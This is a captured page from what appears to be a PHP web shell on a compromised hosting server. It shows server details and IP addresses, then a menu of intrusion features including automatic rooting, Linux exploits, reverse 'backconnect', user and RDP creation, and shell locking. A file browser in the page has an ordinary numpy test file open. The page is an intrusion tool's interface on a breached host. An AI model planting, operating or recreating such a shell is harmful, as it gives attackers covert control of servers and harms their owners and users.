Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.220.73.141
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
numpy /
array_api /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
282
B
-rw-r--r--
test_array_object.py
16.64
KB
-rw-r--r--
test_creation_functions.py
4.91
KB
-rw-r--r--
test_data_type_functions.py
1018
B
-rw-r--r--
test_elementwise_functions.py
3.71
KB
-rw-r--r--
test_indexing_functions.py
627
B
-rw-r--r--
test_manipulation_functions.py
1.06
KB
-rw-r--r--
test_set_functions.py
546
B
-rw-r--r--
test_sorting_functions.py
602
B
-rw-r--r--
test_validation.py
676
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_manipulation_functions.py
from numpy.testing import assert_raises import numpy as np from .. import all from .._creation_functions import asarray from .._dtypes import float64, int8 from .._manipulation_functions import ( concat, reshape, stack ) def test_concat_errors(): assert_raises(TypeError, lambda: concat((1, 1), axis=None)) assert_raises(TypeError, lambda: concat([asarray([1], dtype=int8), asarray([1], dtype=float64)])) def test_stack_errors(): assert_raises(TypeError, lambda: stack([asarray([1, 1], dtype=int8), asarray([2, 2], dtype=float64)])) def test_reshape_copy(): a = asarray(np.ones((2, 3))) b = reshape(a, (3, 2), copy=True) assert not np.shares_memory(a._array, b._array) a = asarray(np.ones((2, 3))) b = reshape(a, (3, 2), copy=False) assert np.shares_memory(a._array, b._array) a = asarray(np.ones((2, 3)).T) b = reshape(a, (3, 2), copy=True) assert_raises(AttributeError, lambda: reshape(a, (2, 3), copy=False))
Close